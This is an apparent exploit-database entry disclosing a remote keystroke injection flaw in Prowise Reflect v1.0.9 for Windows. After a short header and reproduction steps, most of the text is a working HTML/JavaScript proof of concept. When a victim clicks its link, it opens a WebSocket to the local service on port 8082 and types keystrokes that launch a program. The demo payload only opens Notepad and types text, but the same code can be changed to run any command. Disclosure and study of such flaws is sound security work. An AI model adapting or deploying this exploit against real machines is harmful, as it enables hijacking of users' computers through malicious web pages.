Prowise Reflect version 1.0.9 suffers from a remote keystroke injection vulnerability.
1331b2df068f0c64be1b879ec7c9f048e633a724309758947fc9a0ee2f9f2c4f# Exploit Title: Prowise Reflect v1.0.9 - Remote Keystroke Injection
# Date: 30/10/2022
# Exploit Author: Rik Lutz
# Vendor Homepage: https://www.prowise.com/
# Version: V1.0.9
# Tested on: Windows 10
# Prowise Reflect software version 1.0.9 for Windows is vulnerable to a remote keystroke injection.
# Much like how a rubber ducky attack works but this works either over the network (when port 8082 is exposed),
# or by visiting a malicious website. This POC contains the malicious webpage.
# Steps:
# 1. Start Prowise reflect
# 2. Try to connect to a reflect server e.q. ygm7u6od
# 3. When it is connecting click exploit
# - Start menu will open, types notepad.exe and types hello world.
<!DOCTYPE HTML>
<html>
<head>
<script type = "text/javascript">
function wait(ms){
var start = new Date().getTime();
var end = start;
while(end < start + ms) {
end = new Date().getTime();
}
}
function WebSocketTest() {
var StateConnecting = new Boolean(false);
if ("WebSocket" in window) {
// Let us open a web socket
var ws = new WebSocket("ws://localhost:8082");
ws.onopen = function() {
ws.send('{"event":"keyboard", "key":"super"}');
wait(400);
//character is slower
// ws.send('{"event":"keyboard", "character":"notepad.exe"}'};
// You can check for connecting state by sending {"event":"setupRTCConnection", "remoteName":"a"} if the response is {"event":"streamAvailable"} getIsConnecting == true
var exploitcode = "notepad.exe"
for (let i = 0; i < exploitcode.length; i++) {
ws.send('{"event":"keyboard", "key":"' + exploitcode[i] + '"}');
}
wait(300);
ws.send('{"event":"keyboard", "key":"enter"}');
wait(2000);
exploitcode = "Hello world!"
for (let i = 0; i < exploitcode.length; i++) {
ws.send('{"event":"keyboard", "key":"' + exploitcode[i] + '"}');
}
wait(200);
};
ws.onmessage = function (evt) {
var received_msg = evt.data;
};
ws.onclose = function() {
// websocket is closed.
alert("Connection is closed...");
};
} else {
// The browser doesn't support WebSocket
alert("WebSocket NOT supported by your Browser!");
}
}
</script>
</head>
<body>
<div id = "sse">
<a href = "javascript:WebSocketTest()">Exploit!</a>
</div>
</body>
</html>
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